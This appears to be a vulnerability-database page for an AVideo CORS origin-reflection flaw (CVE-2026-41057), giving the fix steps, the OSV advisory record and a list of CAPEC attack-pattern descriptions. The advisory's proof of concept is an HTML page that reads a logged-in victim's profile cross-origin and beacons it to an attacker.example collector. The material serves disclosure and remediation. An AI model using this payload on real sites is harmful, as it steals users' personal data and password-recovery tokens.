set.json.php) are equally affected, allowing cross-origin state-changing requests (creating playlists, modifying content, etc.) with the victim's session. - Bypass of intentional fix: This directly circumvents the CORS hardening in commit
986e64aad.
Recommended Fix
1. Remove the independent CORS handler from router.php and let allowOrigin() handle all CORS logic consistently:
// plugin/API/router.php - REMOVE lines 4-18, replace with:
// CORS is handled by allowOrigin() in get.json.php / set.json.php
// For OPTIONS preflight, we still need to handle it, but through allowOrigin():
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
require_once __DIR__.'/../../videos/configuration.php';
allowOrigin(false); // Use the validated CORS handler
header("Access-Control-Max-Age: 86400");
http_response_code(204);
exit;
}
2. Fix allowOrigin($allowAll=true) to validate origins — or stop using it for API endpoints:
// In get.json.php and set.json.php, change:
allowOrigin(true);
// To:
allowOrigin(false); // Use validated CORS for API endpoints
Keep allowOrigin(true) only for genuinely public endpoints that return no session-sensitive data (VAST/VMAP ad XML).
3. As defense-in-depth, set SameSite=Lax on session cookies to prevent browsers from sending them on cross-origin requests by default.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41057"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T23:18:28Z",
"nvd_published_at": "2026-04-21T23:16:20Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe CORS origin validation fix in commit `986e64aad` is incomplete. Two separate code paths still reflect arbitrary `Origin` headers with credentials allowed for all `/api/*` endpoints: (1) `plugin/API/router.php` lines 4-8 unconditionally reflect any origin before application code runs, and (2) `allowOrigin(true)` called by `get.json.php` and `set.json.php` reflects any origin with `Access-Control-Allow-Credentials: true`. An attacker can make cross-origin credentialed requests to any API endpoint and read authenticated responses containing user PII, email, admin status, and session-sensitive data.\n\n## Details\n\n### Bypass Vector 1: router.php independent CORS handler\n\n`plugin/API/router.php:4-8` runs before any application code:\n\n```php\n// plugin/API/router.php lines 4-8\n$HTTP_ORIGIN = empty($_SERVER[\u0027HTTP_ORIGIN\u0027]) ? @$_SERVER[\u0027HTTP_REFERER\u0027] : $_SERVER[\u0027HTTP_ORIGIN\u0027];\nif (empty($HTTP_ORIGIN)) {\n header(\u0027Access-Control-Allow-Origin: *\u0027);\n} else {\n header(\"Access-Control-Allow-Origin: \" . $HTTP_ORIGIN);\n}\n```\n\nThis reflects **any** `Origin` header verbatim. For OPTIONS preflight requests (lines 14-18), the script exits immediately \u2014 the fixed `allowOrigin()` function never executes:\n\n```php\n// plugin/API/router.php lines 14-18\nif ($_SERVER[\u0027REQUEST_METHOD\u0027] === \u0027OPTIONS\u0027) {\n header(\"Access-Control-Max-Age: 86400\");\n http_response_code(200);\n exit;\n}\n```\n\nAll `/api/*` requests are routed through this file via `.htaccess` rules (lines 131-132).\n\n### Bypass Vector 2: allowOrigin($allowAll=true)\n\nBoth `plugin/API/get.json.php:12` and `plugin/API/set.json.php:12` call `allowOrigin(true)`. In `objects/functions.php:2773-2790`, the `$allowAll=true` code path reflects any origin with credentials:\n\n```php\n// objects/functions.php lines 2773-2777\nif ($allowAll) {\n $requestOrigin = $_SERVER[\u0027HTTP_ORIGIN\u0027] ?? \u0027\u0027;\n if (!empty($requestOrigin)) {\n header(\u0027Access-Control-Allow-Origin: \u0027 . $requestOrigin);\n header(\u0027Access-Control-Allow-Credentials: true\u0027);\n }\n```\n\nThis code path was **untouched** by commit `986e64aad`, which only hardened the default (`$allowAll=false`) path.\n\n### Impact on data exposure\n\nBecause the victim\u0027s session cookies are sent with credentialed cross-origin requests, `User::isLogged()` returns true and `User::getId()` returns the victim\u0027s user ID. This means:\n\n- **Video listing endpoint** (`get_api_video`): Sensitive user fields (email, isAdmin, etc.) are only stripped for unauthenticated requests (`functions.php:1752`), so authenticated CORS requests receive the full data.\n- **User profile endpoint** (`get_api_user`): When `$isViewingOwnProfile` is true (line 3039), all sensitive fields including email, admin status, recovery tokens, and PII are returned unstripped.\n\n### Additional issue: Referer header fallback\n\n`router.php` line 4 falls back to `HTTP_REFERER` when `HTTP_ORIGIN` is absent, injecting an attacker-controlled full URL (not just origin) into the `Access-Control-Allow-Origin` header. This is non-standard and could cause unexpected behavior.\n\n## PoC\n\n**Step 1:** Host the following HTML on an attacker-controlled domain:\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ch1\u003eAVideo CORS PoC\u003c/h1\u003e\n\u003cscript\u003e\n// Exfiltrate victim\u0027s user profile (email, admin status, PII)\nfetch(\u0027https://target-avideo.example/api/user\u0027, {\n credentials: \u0027include\u0027\n})\n.then(r =\u003e r.json())\n.then(data =\u003e {\n document.getElementById(\u0027result\u0027).textContent = JSON.stringify(data, null, 2);\n // Exfiltrate to attacker server\n navigator.sendBeacon(\u0027https://attacker.example/collect\u0027, JSON.stringify(data));\n});\n\u003c/script\u003e\n\u003cpre id=\"result\"\u003eLoading...\u003c/pre\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Step 2:** Victim visits attacker page while logged into AVideo.\n\n**Step 3:** The browser sends the request with victim\u0027s session cookies. `router.php` line 8 reflects the attacker\u0027s origin. `get.json.php` calls `allowOrigin(true)` which re-sets `Access-Control-Allow-Origin` to the attacker\u0027s origin with `Access-Control-Allow-Credentials: true`.\n\n**Step 4:** Browser permits cross-origin reading. Attacker receives the victim\u0027s full user profile including email, name, address, phone, admin status, and other PII.\n\n**For set endpoints (POST with custom headers requiring preflight):**\n\n```javascript\nfetch(\u0027https://target-avideo.example/api/SomeSetEndpoint\u0027, {\n method: \u0027POST\u0027,\n credentials: \u0027include\u0027,\n headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n body: JSON.stringify({/* parameters */})\n});\n```\n\nThe preflight OPTIONS is handled by `router.php` lines 14-18, which reflect the origin and exit \u2014 the CORS fix in `allowOrigin()` never runs.\n\n## Impact\n\n- **Data theft**: Any third-party website can read authenticated API responses for any logged-in AVideo user. This includes user profile data (email, real name, address, phone, admin status), video listings with creator PII, and other session-specific data.\n- **Account information disclosure**: The user profile endpoint returns the full user record including `recoverPass` (password recovery token), `isAdmin` status, and all PII fields when accessed as the authenticated user.\n- **Action on behalf of user**: Write endpoints (`set.json.php`) are equally affected, allowing cross-origin state-changing requests (creating playlists, modifying content, etc.) with the victim\u0027s session.\n- **Bypass of intentional fix**: This directly circumvents the CORS hardening in commit `986e64aad`.\n\n## Recommended Fix\n\n**1. Remove the independent CORS handler from `router.php`** and let `allowOrigin()` handle all CORS logic consistently:\n\n```php\n// plugin/API/router.php - REMOVE lines 4-18, replace with:\n// CORS is handled by allowOrigin() in get.json.php / set.json.php\n// For OPTIONS preflight, we still need to handle it, but through allowOrigin():\nif ($_SERVER[\u0027REQUEST_METHOD\u0027] === \u0027OPTIONS\u0027) {\n require_once __DIR__.\u0027/../../videos/configuration.php\u0027;\n allowOrigin(false); // Use the validated CORS handler\n header(\"Access-Control-Max-Age: 86400\");\n http_response_code(204);\n exit;\n}\n```\n\n**2. Fix `allowOrigin($allowAll=true)` to validate origins** \u2014 or stop using it for API endpoints:\n\n```php\n// In get.json.php and set.json.php, change:\nallowOrigin(true);\n// To:\nallowOrigin(false); // Use validated CORS for API endpoints\n```\n\nKeep `allowOrigin(true)` only for genuinely public endpoints that return no session-sensitive data (VAST/VMAP ad XML).\n\n**3. As defense-in-depth**, set `SameSite=Lax` on session cookies to prevent browsers from sending them on cross-origin requests by default.",
"id": "GHSA-ff5q-cc22-fgp4",
"modified": "2026-04-24T20:40:48Z",
"published": "2026-04-14T23:18:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-ff5q-cc22-fgp4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41057"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/5e2b897ccac61eb6daca2dee4a6be3c4c2d93e13"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "WWBN AVideo has a CORS Origin Reflection Bypass via plugin/API/router.php and allowOrigin(true) Exposes Authenticated API Responses"
}
No mitigation information available for this CWE.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-141: Cache Poisoning
An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.
CAPEC-142: DNS Cache Poisoning
A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.
CAPEC-160: Exploit Script-Based APIs
Some APIs support scripting instructions as arguments. Methods that take scripted instructions (or references to scripted instructions) can be very flexible and powerful. However, if an attacker can specify the script that serves as input to these methods they can gain access to a great deal of functionality. For example, HTML pages support <script> tags that allow scripting languages to be embedded in the page and then interpreted by the receiving web browser. If the content provider is malicious, these scripts can compromise the client application. Some applications may even execute the scripts under their own identity (rather than the identity of the user providing the script) which can allow attackers to perform activities that would otherwise be denied to them.
CAPEC-21: Exploitation of Trusted Identifiers
An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service.
CAPEC-384: Application API Message Manipulation via Man-in-the-Middle
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.
CAPEC-385: Transaction or Event Tampering via Application API Manipulation
An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.
CAPEC-386: Application API Navigation Remapping
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.
CAPEC-387: Navigation Remapping To Propagate Malicious Content
An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.
CAPEC-388: Application API Button Hijacking
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.
CAPEC-510: SaaS User Request Forgery
An adversary, through a previously installed malicious application, performs malicious actions against a third-party Software as a Service (SaaS) application (also known as a cloud based application) by leveraging the persistent and implicit trust placed on a trusted user's session. This attack is executed after a trusted user is authenticated into a cloud service, "piggy-backing" on the authenticated session, and exploiting the fact that the cloud service believes it is only interacting with the trusted user. If successful, the actions embedded in the malicious application will be processed and accepted by the targeted SaaS application and executed at the trusted user's privilege level.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-75: Manipulating Writeable Configuration Files
Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-89: Pharming
A pharming attack occurs when the victim is fooled into entering sensitive data into supposedly trusted locations, such as an online bank site or a trading platform. An attacker can impersonate these supposedly trusted sites and have the victim be directed to their site rather than the originally intended one. Pharming does not require script injection or clicking on malicious links for the attack to succeed.